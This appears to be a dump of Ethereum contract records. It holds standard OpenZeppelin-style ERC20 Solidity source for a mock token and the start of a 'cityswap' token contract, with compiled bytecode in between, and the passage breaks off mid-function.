18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/MockERC20.sol pragma solidity 0.6.12; // Copied from https://github.com/sushiswap/sushiswap/blob/master/contracts/MockERC20.sol contract MockERC20 is ERC20 { constructor( string memory name, string memory symbol, uint256 supply ) public ERC20(name, symbol) { _mint(msg.sender, supply); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025857806370a08231146102bc57806395d89b4114610314578063a457c2d714610397578063a9059cbb146103fb578063dd62ed3e1461045f576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b66104d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610579565b60405180821515815260200191505060405180910390f35b61019d610597565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105a1565b60405180821515815260200191505060405180910390f35b61023f61067a565b604051808260ff16815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610691565b60405180821515815260200191505060405180910390f35b6102fe600480360360208110156102d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610744565b6040518082815260200191505060405180910390f35b61031c61078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035c578082015181840152602081019050610341565b50505050905090810190601f1680156103895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082e565b60405180821515815260200191505060405180910390f35b6104476004803603604081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108fb565b60405180821515815260200191505060405180910390f35b6104c16004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610919565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b5050505050905090565b600061058d610586610a28565b8484610a30565b6001905092915050565b6000600254905090565b60006105ae848484610c27565b61066f846105ba610a28565b61066a8560405180606001604052806028815260200161101960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610620610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b610a30565b600190509392505050565b6000600560009054906101000a900460ff16905090565b600061073a61069e610a28565b8461073585600160006106af610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a090919063ffffffff16565b610a30565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b60006108f161083b610a28565b846108ec8560405180606001604052806025815260200161108a6025913960016000610865610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b610a30565b6001905092915050565b600061090f610908610a28565b8484610c27565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610a1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ab6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110666024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610fd16022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110416025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610fae6023913960400191505060405180910390fd5b610d3e838383610fa8565b610da981604051806060016040528060268152602001610ff3602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e3c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f5a578082015181840152602081019050610f3f565b50505050905090810190601f168015610f875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204ab7f57b03596b8830def3f4926e8c513b3ba4cacf4e8ae5482c2990ea1c617464736f6c634300060c0033
[ 38 ]
0xf324d6c19193f3aa319d2df5161c44beb038c4b3
/* website: cityswap.io ██████╗██╗████████╗██╗ ██╗ ██╔════╝██║╚══██╔══╝╚██╗ ██╔╝ ██║ ██║ ██║ ╚████╔╝ ██║ ██║ ██║ ╚██╔╝ ╚██████╗██║ ██║ ██║ ╚═════╝╚═╝ ╚═╝ ╚═╝ */ pragma solidity ^0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, 